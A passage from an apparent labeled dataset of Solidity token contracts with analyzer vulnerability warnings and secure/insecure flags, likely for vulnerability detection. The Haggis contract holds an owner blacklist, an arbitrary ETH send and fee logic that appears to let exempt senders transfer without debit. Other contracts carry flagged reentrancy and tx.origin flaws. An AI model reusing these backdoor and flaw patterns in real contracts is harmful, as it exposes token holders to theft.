onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableHaggisTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n HaggisFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getHaggisAmounts(\n uint256 action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : HaggisFeeEnabled\n ? takeHaggisAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = HaggisFeeEnabled && takeFee\n ? takeHaggisAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 37445e0): Haggis.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_HaggisWallet).transfer(ethAmountFor)\n\t// Recommendation for 37445e0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 40332b9\n\t\t// reentrancy-eth | ID: 84f83e5\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 40332b9\n\t\t// reentrancy-eth | ID: 84f83e5\n\t\t// arbitrary-send-eth | ID: 37445e0\n payable(_HaggisWallet).transfer(ethAmountFor);\n }\n\n function removeHaggisLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeHaggisAmountAfterFees(\n uint256 HaggisActions,\n bool HaggisTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 HaggisPercents;\n\n uint256 HaggisFeePrDenominator = 100;\n\n if (HaggisTakefee) {\n if (HaggisActions > 1) {\n HaggisPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (HaggisActions > 0) {\n HaggisPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n HaggisPercents = 0;\n }\n }\n } else {\n HaggisPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(HaggisPercents).div(\n HaggisFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 84f83e5\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = HaggisTakefee ? feeAmounts : amounts.div(HaggisPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint256 action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getHaggisAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 84f83e5\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 84f83e5\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 40332b9\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c25268): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c25268: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1075130): Haggis.createHaggisTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 1075130: Ensure that all the return values of the function calls are used.\n function createHaggisTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 0c25268\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0c25268\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 0c25268\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 1075130\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapHaggisTokens(\n bool isIncludeFees,\n uint256 isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minHaggisTokens = pLimit;\n\n uint256 tokenHaggisWeight = pAmount;\n\n uint256 contractHaggisOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractHaggisOverWeight > minHaggisTokens &&\n tokenHaggisWeight > minHaggisTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d4d7501): Haggis.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for d4d7501: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: d4d7501\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0239cde): Haggis.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 0239cde: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 0239cde\n _finalSellTax = _newFee;\n }\n\n function isHaggisUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeHaggisActions(\n address from,\n address to\n ) internal view returns (bool, uint256) {\n uint256 _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addHaggiss(address[] memory Haggiss_) public onlyOwner {\n for (uint256 i = 0; i < Haggiss_.length; i++) {\n Haggiss[Haggiss_[i]] = true;\n }\n }\n\n function delHaggiss(address[] memory notHaggis) public onlyOwner {\n for (uint256 i = 0; i < notHaggis.length; i++) {\n Haggiss[notHaggis[i]] = false;\n }\n }\n\n function isHaggis(address a) public view returns (bool) {\n return Haggiss[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 40332b9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 40332b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84f83e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84f83e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint256 actions;\n\n require(!Haggiss[sender] && !Haggiss[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isHaggisUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeHaggisActions(sender, recipient);\n\n if (\n inSwapHaggisTokens(takefee, actions, amount, _swapHaggisThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: 40332b9\n\t\t\t// reentrancy-eth | ID: 84f83e5\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 40332b9\n\t\t// reentrancy-eth | ID: 84f83e5\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}",
"file_name": "solidity_code_4061.sol",
"secure": 0,
"size_bytes": 18496
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PepeMetaClub is ERC20, Ownable {\n constructor() ERC20(\"Pepe Meta Club\", \"PMC \") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4062.sol",
"secure": 1,
"size_bytes": 362
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract UTYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 10_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"UTYADUCK\";\n\n string private constant _symbol = unicode\"UTYA\";\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_4063.sol",
"secure": 1,
"size_bytes": 3517
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract TokenTelly is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _excludeFromFee;\n\n uint256 private _totalSupply;\n\n bool public rule;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73f4af8): TokenTelly.taxWallet should be constant \n\t// Recommendation for 73f4af8: Add the 'constant' attribute to state variables that never change.\n address public taxWallet = 0xd77e31dB17365AeFcd6fFE7f831E04D8C51E93C8;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d119b61): TokenTelly.mainWallet should be immutable \n\t// Recommendation for d119b61: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public mainWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecd625c): TokenTelly.fee should be constant \n\t// Recommendation for ecd625c: Add the 'constant' attribute to state variables that never change.\n bool private fee;\n\n\t// WARNING Optimization Issue (constable-states | ID: d662a5e): TokenTelly.tax should be constant \n\t// Recommendation for d662a5e: Add the 'constant' attribute to state variables that never change.\n uint256 public tax = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0398ff1): TokenTelly.percentDivider should be constant \n\t// Recommendation for 0398ff1: Add the 'constant' attribute to state variables that never change.\n uint256 public percentDivider = 1_000;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7c29be): TokenTelly._name should be constant \n\t// Recommendation for f7c29be: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TokenTelly\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 228397e): TokenTelly._symbol should be constant \n\t// Recommendation for 228397e: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"$Totelly\";\n\n constructor() {\n mainWallet = msg.sender;\n\n _mint(mainWallet, 10_000_000_000 * 1e18);\n\n _excludeFromFee[address(this)] = true;\n\n _excludeFromFee[taxWallet] = true;\n\n _excludeFromFee[mainWallet] = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f78af21): TokenTelly.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f78af21: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: e63e9be): TokenTelly._transfer(address,address,uint256).amountReceived is a local variable never initialized\n\t// Recommendation for e63e9be: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n uint256 amountReceived;\n\n if (\n _excludeFromFee[sender] ||\n _excludeFromFee[recipient] ||\n (sender != uniswapV2Pair && recipient != uniswapV2Pair)\n ) {\n amountReceived = amount;\n } else {\n uint256 feeAmount;\n\n if (sender == uniswapV2Pair) {\n feeAmount = (amount * (tax)) / (percentDivider);\n\n amountReceived = amount - (feeAmount);\n\n _takeFee(sender, feeAmount);\n }\n\n if (recipient == uniswapV2Pair) {\n feeAmount = (amount * (tax)) / (percentDivider);\n\n amountReceived = amount - (feeAmount);\n\n _takeFee(sender, feeAmount);\n }\n }\n\n _balances[recipient] += amountReceived;\n\n emit Transfer(sender, recipient, amountReceived);\n }\n\n function _takeFee(address sender, uint256 feeAmount) internal {\n _balances[taxWallet] = _balances[taxWallet] + (feeAmount);\n\n emit Transfer(sender, taxWallet, feeAmount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75a2507): TokenTelly._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75a2507: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function excludeFromFee(address _address) public onlyOwner {\n _excludeFromFee[_address] = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a82669e): TokenTelly.setPairAddress(address)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for a82669e: Check that the address is not zero.\n function setPairAddress(address _uniswapV2Pair) external onlyOwner {\n require(!rule, \"already defined!\");\n\n rule = true;\n\n\t\t// missing-zero-check | ID: a82669e\n uniswapV2Pair = _uniswapV2Pair;\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_4064.sol",
"secure": 0,
"size_bytes": 9548
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Fred is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 57b8a4e): fred._taxWallet should be immutable \n\t// Recommendation for 57b8a4e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d661f62): fred._initialBuyTax should be constant \n\t// Recommendation for d661f62: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: a462a8d): fred._initialSellTax should be constant \n\t// Recommendation for a462a8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcc5792): fred._finalBuyTax should be constant \n\t// Recommendation for fcc5792: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f459102): fred._finalSellTax should be constant \n\t// Recommendation for f459102: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab70c94): fred._reduceBuyTaxAt should be constant \n\t// Recommendation for ab70c94: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: be1616f): fred._reduceSellTaxAt should be constant \n\t// Recommendation for be1616f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4722e93): fred._preventSwapBefore should be constant \n\t// Recommendation for 4722e93: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Fred The Racoon\";\n\n string private constant _symbol = unicode\"FRED\";\n\n uint256 public _maxTxAmount = 200000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb63336): fred._taxSwapThreshold should be constant \n\t// Recommendation for bb63336: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 105000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 930efb3): fred._maxTaxSwap should be constant \n\t// Recommendation for 930efb3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 630000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a384f5d): fred.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a384f5d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e34e90f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e34e90f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a6b4475): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a6b4475: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e34e90f\n\t\t// reentrancy-benign | ID: a6b4475\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e34e90f\n\t\t// reentrancy-benign | ID: a6b4475\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b7637b6): fred._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b7637b6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a6b4475\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e34e90f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7c1e761): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7c1e761: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: fdde62e): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for fdde62e: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f802e58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f802e58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: fdde62e\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair 